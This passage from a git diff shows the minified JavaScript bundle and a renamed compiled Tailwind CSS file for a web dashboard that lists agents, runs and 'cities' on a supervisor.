runs unavailable")}}}function o6(){return Da()}function Y6(){return Da()}function i6(){return Da()}function a6(){return Da()}function s6(t,r){return t instanceof Error&&t.message.trim().length>0?t.message:r}const Zf=1e4,l6=[2e3,5e3,1e4];function u6(){const t=Ba(),r=b.useRef(null),i=b.useRef(!1),s=b.useCallback(async()=>{const ee=await o6().catch(de=>({source:"runs",status:"error",error:de instanceof Error?de.message:"formula runs unavailable"}));if(ee.status!=="error")return i.current=!1,ee;const ue=r.current;return ue===null?ee:(i.current=!0,{...ue,status:"stale"})},[]),u=b.useCallback(async()=>{const ee=await i6().catch(de=>({source:"runs",status:"error",error:de instanceof Error?de.message:"formula runs unavailable"}));if(ee.status!=="error")return ee;const ue=r.current;return ue===null?ee:(i.current=!0,{...ue,status:"stale"})},[]),{data:p,loading:d,error:m,refresh:g,cheapRefresh:y}=mn(`runs:summary:${t??"no-city"}`,a6,{refreshFetcher:s,sseRefreshFetcher:u});p!==void 0&&p.status!=="error"&&(r.current=p);const E=p??null,S=b.useRef(null);S.current=E?.status??null;const T=b.useRef(d);T.current=d;const A=b.useRef(0),D=b.useRef(null);b.useEffect(()=>{if(E===null||E.status==="error")return;const ee=t??"no-city";D.current!==ee&&(D.current=ee,g().catch(()=>{D.current=null}))},[t,g,E]);const W=b.useRef(0);b.useEffect(()=>{if(E===null)return;if(!(E.status==="error"?!0:i.current||E.data.lanesPartial===!0&&E.data.lanes.length===0&&E.data.blockedLanes.length===0)){W.current=0;return}const ue=l6[W.current];if(ue===void 0)return;W.current+=1;const de=setTimeout(()=>{g()},ue);return()=>clearTimeout(de)},[E,g]);const O=b.useRef(!1),H=b.useRef(null),oe=b.useCallback(()=>{H.current!==null&&(clearTimeout(H.current),H.current=null),A.current=Date.now(),y().catch(()=>{A.current=0})},[y]),Q=b.useCallback(()=>{if(S.current===null||S.current==="fixture")return;if(T.current){O.current=!0;return}Date.now()-A.current<Zf||oe()},[oe]);b.useEffect(()=>{if(d||!O.current)return;O.current=!1;const ee=Math.max(0,Zf-(Date.now()-A.current));return H.current=setTimeout(oe,ee),()=>{H.current!==null&&(clearTimeout(H.current),H.current=null)}},[d,oe]);const G=e6([ly.bead],Q);return{source:p,loading:d,error:m,refresh:g,sseState:G}}const Nv=b.createContext(null);function c6({children:t}){const r=u6();return $.jsx(Nv.Provider,{value:r,children:t})}function d6(){const t=b.useContext(Nv);if(t===null)throw new Error("useRunSummary must be used within a RunSummaryProvider");return t}const p6=b.lazy(()=>wn(()=>import("./Agents-sZ3Kn-9C.js"),__vite__mapDeps([7,8,1,9,10,2,11,3,12,6,13,14])).then(t=>({default:t.AgentsPage}))),f6=b.lazy(()=>wn(()=>import("./AgentDetail-4AW6d3TF.js"),__vite__mapDeps([15,16,6,17,12,3,10,2,8,14])).then(t=>({default:t.AgentDetailPage}))),m6=b.lazy(()=>wn(()=>import("./AmbientHome-QKhI8-ES.js"),__vite__mapDeps([18,2])).then(t=>({default:t.AmbientHomePage}))),v6=b.lazy(()=>wn(()=>import("./Beads-CRhPo2Gt.js"),__vite__mapDeps([19,1,16,6,17,12,3,10,20,9,2,14])).then(t=>({default:t.BeadsPage}))),h6=b.lazy(()=>wn(()=>import("./Mail-CfeMOQZF.js"),__vite__mapDeps([21,9,1,20,13,10,2,17,3])).then(t=>({default:t.MailPage}))),g6=b.lazy(()=>wn(()=>import("./FormulaRunDetail-BIoITriX.js"),__vite__mapDeps([22,2,16,6,17,12,3,10,23])).then(t=>({default:t.FormulaRunDetailPage}))),y6=b.lazy(()=>wn(()=>import("./Runs-DlWanzbB.js"),__vite__mapDeps([24,1,2,11,3,23])).then(t=>({default:t.RunsPage})));function _6(){const{data:t,error:r}=mn("config",()=>Yr.config()),i=t?.enabledModules??null,s=t?.defaultView??null,u=TI(t,r),p=II(t),d=b.useMemo(()=>Rv(Bv,i),[i]),m=b.useMemo(()=>VI(d,s),[d,s]),g=m.view?.element??null,y=m.redirectTo??null;return $.jsx(EI,{operator:p,children:$.jsx($I,{children:$.jsx(QI,{children:$.jsx(zI,{readOnly:u,children:$.jsx(c6,{children:$.jsx(w6,{operator:p,children:$.jsxs(KI,{children:[r!==null&&$.jsx(E6,{message:r}),$.jsx(x6,{defaultRedirectTo:y,DefaultViewElement:g,enabledViews:d})]})})})})})})})}function w6({operator:t,children:r}){const{source:i}=d6(),s=iI(t,i);return $.jsx(Zy,{contributors:s,children:r})}function x6({defaultRedirectTo:t,DefaultViewElement:r,enabledViews:i}){const{pathname:s}=_n();return $.jsx(_v,{children:$.jsx(b.Suspense,{fallback:null,children:$.jsxs(N0,{children:[$.jsx(on,{path:"/",element:t!==null?$.jsx(R0,{to:t,replace:!0}):r!==null?$.jsx(r,{}):$.jsx(m6,{})}),$.jsx(on,{path:"/agents",element:$.jsx(p6,{})}),$.jsx(on,{path:"/agents/:slug",element:$.jsx(f6,{})}),$.jsx(on,{path:"/beads",element:$.jsx(v6,{})}),$.jsx(on,{path:"/runs",element:$.jsx(y6,{})}),$.jsx(on,{path:"/runs/:runId",element:$.jsx(g6,{})}),$.jsx(on,{path:"/mail",element:$.jsx(h6,{})}),i.map(u=>{const p=u.element;return $.jsx(on,{path:u.path,element:$.jsx(p,{})},u.id)}),$.jsx(on,{path:"*",element:$.jsx(I6,{})})]})})},s)}function E6({message:t}){return $.jsxs("section",{role:"alert",className:"mb-8 border border-warn/40 rounded-sm px-4 py-3 text-body text-fg-muted",children:[$.jsx("span",{className:"text-warn",children:"config unavailable:"})," ",t," · some controls may be disabled until it loads."]})}function I6(){return $.jsxs("section",{"aria-labelledby":"not-found-title",className:"space-y-3",children:[$.jsx("h1",{id:"not-found-title",className:"text-5xl font-semibold tracking-tight text-fg",children:"Page not found"}),$.jsx("p",{className:"text-title text-fg-muted",children:"No dashboard route matches this path."})]})}const S6={default:"border border-rule text-fg-muted hover:text-fg hover:bg-surface-tint",accent:"border border-accent text-accent hover:bg-accent hover:text-surface",quiet:"border border-transparent text-fg-muted hover:text-fg"},k6={sm:"px-2.5 py-1 text-label uppercase tracking-wider",md:"px-3.5 py-1.5 text-body"};function b6({tone:t="default",size:r="sm",className:i="",children:s,...u}){return $.jsx("button",{...u,className:`inline-flex items-center gap-1.5 rounded-sm transition-colors duration-150 ease-out-quart focus-mark disabled:opacity-40 disabled:cursor-not-allowed ${S6[t]} ${k6[r]} ${i}`,children:s})}const z6="https://docs.gascity.com/getting-started/quickstart",C6=/^\/city\/([^/]+)(?:\/|$)/;function T6(t){const r=C6.exec(t);if(r===null)return null;const i=r[1];if(i===void 0)return null;let s;try{s=decodeURIComponent(i)}catch{return null}return om.test(s)?{cityName:s,basename:`/city/${i}`}:null}function B6(){const t=b.useMemo(()=>T6(window.location.pathname),[]),[r,i]=b.useState({phase:"loading"}),[s,u]=b.useState(0),p=b.useCallback(()=>{i({phase:"loading"}),u(d=>d+1)},[]);return b.useEffect(()=>{let d=!1;return i({phase:"loading"}),ot().listCities().then(m=>{if(d)return;const g=m.items??[];if(t!==null){const E=g.some(S=>S.name===t.cityName);i(E?{phase:"mount"}:{phase:"unknown-city",cities:g});return}const y=g[0];if(y===void 0){i({phase:"empty"});return}window.location.replace(`/city/${encodeURIComponent(y.name)}/`)}).catch(m=>{if(!d){if(t!==null){i({phase:"mount"});return}i({phase:"error",message:m instanceof Error?m.message:"failed to load cities"})}}),()=>{d=!0}},[t,s]),t!==null&&r.phase==="mount"?(vy(t.cityName),$.jsx(U0,{basename:t.basename,future:{v7_relativeSplatPath:!0,v7_startTransition:!0},children:$.jsx(_6,{})})):r.phase==="unknown-city"&&t!==null?$.jsx(R6,{cityName:t.cityName,cities:r.cities}):r.phase==="empty"?$.jsx(P6,{}):r.phase==="error"?$.jsx(N6,{message:r.message,onRetry:p}):$.jsx(Ma,{children:$.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Resolving city…"})})}function Ma({children:t}){return $.jsx("div",{className:"min-h-screen bg-surface text-fg antialiased flex items-center justify-center px-6",children:$.jsx("div",{className:"max-w-prose w-full space-y-4",children:t})})}function R6({cityName:t,cities:r}){return $.jsx(Ma,{children:$.jsxs("section",{role:"alert",className:"space-y-4",children:[$.jsxs("h1",{className:"text-display font-semibold text-fg",children:["City “",t,"” is not registered on this supervisor."]}),r.length>0?$.jsxs("div",{className:"space-y-2",children:[$.jsx("p",{className:"text-body text-fg-muted",children:"Available cities:"}),$.jsx("ul",{className:"space-y-1",children:r.map(i=>$.jsxs("li",{children:[$.jsx("a",{href:`/city/${encodeURIComponent(i.name)}/`,className:"text-body text-accent hover:underline focus-mark",children:i.name}),i.running?null:$.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted ml-2",children:"· stopped"})]},i.name))})]}):$.jsx(Av,{})]})})}function P6(){return $.jsx(Ma,{children:$.jsxs("section",{className:"space-y-4",children:[$.jsx("h1",{className:"text-display font-semibold text-fg",children:"No cities are registered on this supervisor."}),$.jsx(Av,{})]})})}function Av(){return $.jsxs("div",{className:"space-y-3",children:[$.jsx("p",{className:"text-body text-fg-muted",children:"Create one from a terminal:"}),$.jsx("pre",{className:"text-body bg-surface-tint rounded-sm px-3 py-2 overflow-x-auto",children:$.jsx("code",{children:"gc init ~/my-city"})}),$.jsxs("p",{className:"text-body text-fg-muted",children:[$.jsx("code",{children:"gc init"})," bootstraps the city directory, registers it with the supervisor, and starts the orchestrator. Then refresh this page. See the"," ",$.jsx("a",{href:z6,target:"_blank",rel:"noreferrer",className:"text-accent hover:underline focus-mark",children:"getting-started guide"})," ","for the full walkthrough."]})]})}function N6({message:t,onRetry:r}){return $.jsx(Ma,{children:$.jsxs("section",{role:"alert",className:"space-y-4",children:[$.jsx("h1",{className:"text-display font-semibold text-fg",children:"Could not load cities."}),$.jsx("p",{className:"text-body text-fg-muted",children:t}),$.jsx(b6,{onClick:r,children:"Retry"})]})})}const Ov=document.getElementById("root");if(!Ov)throw new Error("missing #root");Ug.createRoot(Ov).render($.jsx(Vf.StrictMode,{children:$.jsx(wI,{children:$.jsx(_v,{children:$.jsx(B6,{})})})}));export{Fl as $,Zu as A,b6 as B,Ay as C,wv as D,xv as E,Y6 as F,ly as G,Ba as H,ot as I,xn as J,O6 as K,V0 as L,PI as M,G6 as N,Uu as O,n4 as P,U6 as Q,H6 as R,bI as S,py as T,dy as U,F6 as V,M6 as W,Yr as X,im as Y,Vy as Z,Ny as _,qy as a,D6 as a0,Wn as a1,K6 as a2,V6 as a3,J6 as a4,OI as a5,Lf as a6,oy as a7,d6 as a8,E4 as a9,I4 as aa,UE as ab,mn as b,YE as c,VE as d,X0 as e,e6 as f,CI as g,j6 as h,Cv as i,$ as j,$6 as k,NI as l,_4 as m,q6 as n,Z6 as o,Wr as p,A6 as q,b as r,W6 as s,uu as t,Q6 as u,LI as v,bv as w,Jr as x,L6 as y,Jt as z};
diff --git a/internal/api/dashboardspa/dist/assets/index-DiklGLsM.css b/internal/api/dashboardspa/dist/assets/index-Gx0U3WJJ.css
similarity index 81%
rename from internal/api/dashboardspa/dist/assets/index-DiklGLsM.css
rename to internal/api/dashboardspa/dist/assets/index-Gx0U3WJJ.css
index 28fce6ad61..2a4e9a7839 100644
--- a/internal/api/dashboardspa/dist/assets/index-DiklGLsM.css
+++ b/internal/api/dashboardspa/dist/assets/index-Gx0U3WJJ.css
@@ -1 +1 @@
-:root{--diff-background-color:initial;--diff-text-color:initial;--diff-font-family:Consolas,Courier,monospace;--diff-selection-background-color:#b3d7ff;--diff-selection-text-color:var(--diff-text-color);--diff-gutter-insert-background-color:#d6fedb;--diff-gutter-insert-text-color:var(--diff-text-color);--diff-gutter-delete-background-color:#fadde0;--diff-gutter-delete-text-color:var(--diff-text-color);--diff-gutter-selected-background-color:#fffce0;--diff-gutter-selected-text-color:var(--diff-text-color);--diff-code-insert-background-color:#eaffee;--diff-code-insert-text-color:var(--diff-text-color);--diff-code-delete-background-color:#fdeff0;--diff-code-delete-text-color:var(--diff-text-color);--diff-code-insert-edit-background-color:#c0dc91;--diff-code-insert-edit-text-color:var(--diff-text-color);--diff-code-delete-edit-background-color:#f39ea2;--diff-code-delete-edit-text-color:var(--diff-text-color);--diff-code-selected-background-color:#fffce0;--diff-code-selected-text-color:var(--diff-text-color);--diff-omit-gutter-line-color:#cb2a1d}.diff{background-color:var(--diff-background-color);border-collapse:collapse;color:var(--diff-text-color);table-layout:fixed;width:100%}.diff::-moz-selection{background-color:#b3d7ff;background-color:var(--diff-selection-background-color);color:var(--diff-text-color);color:var(--diff-selection-text-color)}.diff::selection{background-color:#b3d7ff;background-color:var(--diff-selection-background-color);color:var(--diff-text-color);color:var(--diff-selection-text-color)}.diff td{padding-bottom:0;padding-top:0;vertical-align:top}.diff-line{font-family:Consolas,Courier,monospace;font-family:var(--diff-font-family);line-height:1.5}.diff-gutter>a{color:inherit;display:block}.diff-gutter{cursor:pointer;padding:0 1ch;text-align:right;-webkit-user-select:none;-moz-user-select:none;user-select:none}.diff-gutter-insert{background-color:#d6fedb;background-color:var(--diff-gutter-insert-background-color);color:var(--diff-text-color);color:var(--diff-gutter-insert-text-color)}.diff-gutter-delete{background-color:#fadde0;background-color:var(--diff-gutter-delete-background-color);color:var(--diff-text-color);color:var(--diff-gutter-delete-text-color)}.diff-gutter-omit{cursor:default}.diff-gutter-selected{background-color:#fffce0;background-color:var(--diff-gutter-selected-background-color);color:var(--diff-text-color);color:var(--diff-gutter-selected-text-color)}.diff-code{word-wrap:break-word;padding:0 0 0 .5em;white-space:pre-wrap;word-break:break-all}.diff-code-edit{color:inherit}.diff-code-insert{background-color:#eaffee;background-color:var(--diff-code-insert-background-color);color:var(--diff-text-color);color:var(--diff-code-insert-text-color)}.diff-code-insert .diff-code-edit{background-color:#c0dc91;background-color:var(--diff-code-insert-edit-background-color);color:var(--diff-text-color);color:var(--diff-code-insert-edit-text-color)}.diff-code-delete{background-color:#fdeff0;background-color:var(--diff-code-delete-background-color);color:var(--diff-text-color);color:var(--diff-code-delete-text-color)}.diff-code-delete .diff-code-edit{background-color:#f39ea2;background-color:var(--diff-code-delete-edit-background-color);color:var(--diff-text-color);color:var(--diff-code-delete-edit-text-color)}.diff-code-selected{background-color:#fffce0;background-color:var(--diff-code-selected-background-color);color:var(--diff-text-color);color:var(--diff-code-selected-text-color)}.diff-widget-content{vertical-align:top}.diff-gutter-col{width:7ch}.diff-gutter-omit{height:0}.diff-gutter-omit:before{background-color:#cb2a1d;background-color:var(--diff-omit-gutter-line-color);content:" ";display:block;height:100%;margin-left:4.6ch;overflow:hidden;white-space:pre;width:2px}.diff-decoration{line-height:1.5;-webkit-user-select:none;-moz-user-select:none;user-select:none}.diff-decoration-content{font-family:Consolas,Courier,monospace;font-family:var(--diff-font-family);padding:0}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-cyrillic-ext-wght-normal-BOeWTOD4.woff2) format("woff2-variations");unicode-range:U+0460-052F,U+1C80-1C8A,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-cyrillic-wght-normal-DqGufNeO.woff2) format("woff2-variations");unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-greek-ext-wght-normal-DlzME5K_.woff2) format("woff2-variations");unicode-range:U+1F00-1FFF}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-greek-wght-normal-CkhJZR-_.woff2) format("woff2-variations");unicode-range:U+0370-0377,U+037A-037F,U+0384-038A,U+038C,U+038E-03A1,U+03A3-03FF}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-vietnamese-wght-normal-CBcvBZtf.woff2) format("woff2-variations");unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-latin-ext-wght-normal-DO1Apj_S.woff2) format("woff2-variations");unicode-range:U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF}@font-face{font-family:Inter Variable;font-style:normal;font-display:swap;font-weight:100 900;src:url(/assets/inter-latin-wght-normal-Dx4kXJAl.woff2) format("woff2-variations");unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD}*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:Inter Variable,Inter,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}*,:before,:after{border-color:oklch(var(--rule))}:root{--surface: 96% .012 75;--surface-tint: 92% .014 75;--fg: 18% .012 75;--fg-muted: 42% .014 75;--fg-faint: 52% .014 75;--rule: 80% .012 75;--accent: 40% .13 25;--ok: 50% .085 150;--warn: 60% .14 60;color-scheme:light;accent-color:oklch(var(--accent))}:root[data-theme=dark]{--surface: 16% .008 75;--surface-tint: 22% .012 75;--fg: 92% .006 75;--fg-muted: 68% .014 75;--fg-faint: 54% .012 75;--rule: 28% .01 75;--accent: 72% .12 25;--ok: 70% .085 150;--warn: 76% .14 60;color-scheme:dark}@media(prefers-color-scheme:dark){:root:not([data-theme=light]):not([data-theme=dark]){--surface: 16% .008 75;--surface-tint: 22% .012 75;--fg: 92% .006 75;--fg-muted: 68% .014 75;--fg-faint: 54% .012 75;--rule: 28% .01 75;--accent: 72% .12 25;--ok: 70% .085 150;--warn: 76% .14 60;color-scheme:dark}}body{background:oklch(var(--surface));color:oklch(var(--fg));font-family:Inter Variable,Inter,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,sans-serif;font-feature-settings:"cv02","cv03","cv04","cv11","ss01","kern";font-optical-sizing:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}h1,h2,h3{text-wrap:balance}p{text-wrap:pretty}::-moz-selection{background:oklch(var(--accent) / .2);color:oklch(var(--fg))}::selection{background:oklch(var(--accent) / .2);color:oklch(var(--fg))}.container{width:100%}@media(min-width:640px){.container{max-width:640px}}@media(min-width:768px){.container{max-width:768px}}@media(min-width:1024px){.container{max-width:1024px}}@media(min-width:1280px){.container{max-width:1280px}}@media(min-width:1536px){.container{max-width:1536px}}.tnum{font-variant-numeric:tabular-nums}.formula-run-diff-view{--diff-background-color: transparent;--diff-text-color: oklch(var(--fg));--diff-font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", monospace;--diff-selection-background-color: oklch(var(--surface-tint));--diff-selection-text-color: oklch(var(--fg));--diff-gutter-insert-background-color: oklch(var(--ok) / .1);--diff-gutter-insert-text-color: oklch(var(--fg-muted));--diff-gutter-delete-background-color: oklch(var(--warn) / .1);--diff-gutter-delete-text-color: oklch(var(--fg-muted));--diff-code-insert-background-color: oklch(var(--ok) / .1);--diff-code-insert-text-color: oklch(var(--fg));--diff-code-delete-background-color: oklch(var(--warn) / .1);--diff-code-delete-text-color: oklch(var(--fg-muted));--diff-code-insert-edit-background-color: oklch(var(--ok) / .18);--diff-code-delete-edit-background-color: oklch(var(--warn) / .18);--diff-code-selected-background-color: oklch(var(--surface-tint));--diff-omit-gutter-line-color: oklch(var(--rule))}.formula-run-diff-view .diff{font-size:.8125rem}.formula-run-diff-view .diff-code{word-break:normal;overflow-wrap:anywhere}.formula-run-diff-view .diff-gutter-sign{display:block;color:oklch(var(--fg-faint))}.focus-mark:focus-visible{outline:2px solid oklch(var(--accent));outline-offset:1px;border-radius:2px}.formula-run-node-shape-root{border-width:3px;border-style:double;border-radius:3px}.formula-run-node-shape-step{border-width:1px;border-style:solid;border-radius:3px}.formula-run-node-shape-retry{border-width:2px;border-style:double;border-radius:9999px;outline:1px solid oklch(var(--rule));outline-offset:3px}.formula-run-node-shape-check-loop{border-width:2px;border-style:double;border-radius:9999px 4px 4px 9999px}.formula-run-node-shape-scope{border-width:1px;border-style:dashed;border-radius:3px 10px 10px 3px}.formula-run-node-shape-condition{border-width:1px;border-style:dashed;border-radius:18px 4px}.formula-run-node-shape-fanout{border-width:1px;border-style:dashed;border-radius:6px;background-image:repeating-linear-gradient(90deg,transparent 0,transparent .75rem,oklch(var(--rule) / .28) .75rem,oklch(var(--rule) / .28) .8125rem)}.formula-run-node-shape-expansion{border-width:1px;border-style:dashed;border-radius:6px;outline:1px dashed oklch(var(--rule));outline-offset:3px}.formula-run-node-shape-control{border-width:1px;border-style:dotted;border-radius:4px}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border-width:0}.visible{visibility:visible}.invisible{visibility:hidden}.collapse{visibility:collapse}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.inset-0{inset:0}.inset-\[5\%\]{inset:5%}.bottom-\[-0\.75rem\]{bottom:-.75rem}.left-2{left:.5rem}.left-\[0\.3125rem\]{left:.3125rem}.top-10{top:2.5rem}.top-7{top:1.75rem}.z-50{z-index:50}.z-\[60\]{z-index:60}.z-\[61\]{z-index:61}.-mx-2{margin-left:-.5rem;margin-right:-.5rem}.mx-1\.5{margin-left:.375rem;margin-right:.375rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-auto{margin-left:auto;margin-right:auto}.-ml-4{margin-left:-1rem}.-mr-2{margin-right:-.5rem}.mb-1{margin-bottom:.25rem}.mb-10{margin-bottom:2.5rem}.mb-12{margin-bottom:3rem}.mb-2{margin-bottom:.5rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-1{margin-left:.25rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-auto{margin-left:auto}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-10{margin-top:2.5rem}.mt-12{margin-top:3rem}.mt-2{margin-top:.5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-8{margin-top:2rem}.line-clamp-2{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.contents{display:contents}.hidden{display:none}.h-16{height:4rem}.h-2{height:.5rem}.h-3\.5{height:.875rem}.h-96{height:24rem}.max-h-\[28rem\]{max-height:28rem}.max-h-\[60vh\]{max-height:60vh}.max-h-\[90vh\]{max-height:90vh}.min-h-screen{min-height:100vh}.w-10{width:2.5rem}.w-2{width:.5rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-48{width:12rem}.w-8{width:2rem}.w-80{width:20rem}.w-full{width:100%}.min-w-0{min-width:0px}.min-w-36{min-width:9rem}.min-w-40{min-width:10rem}.min-w-44{min-width:11rem}.min-w-56{min-width:14rem}.min-w-\[18rem\]{min-width:18rem}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-5xl{max-width:64rem}.max-w-\[70ch\]{max-width:70ch}.max-w-dashboard{max-width:1280px}.max-w-prose{max-width:70ch}.max-w-xl{max-width:36rem}.flex-1{flex:1 1 0%}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.translate-y-\[1px\]{--tw-translate-y: 1px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-\[2px\]{--tw-translate-y: 2px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.scale-100{--tw-scale-x: 1;--tw-scale-y: 1;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) 